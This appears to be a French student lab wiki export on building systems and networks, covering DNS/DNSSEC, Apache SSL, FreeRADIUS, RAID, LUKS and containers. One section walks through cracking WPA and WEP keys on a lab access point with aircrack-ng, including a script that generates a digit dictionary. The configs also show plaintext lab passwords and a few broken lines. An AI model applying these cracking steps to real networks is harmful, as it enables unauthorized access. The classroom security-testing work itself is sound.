   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.2 Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.4 DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===4.3 Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Httpshercule.png|1000px|center]]&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===5.3 Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===5.2 Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49133</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49133"/>
				<updated>2018-12-21T18:09:54Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 4.3 Serveur Apache */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
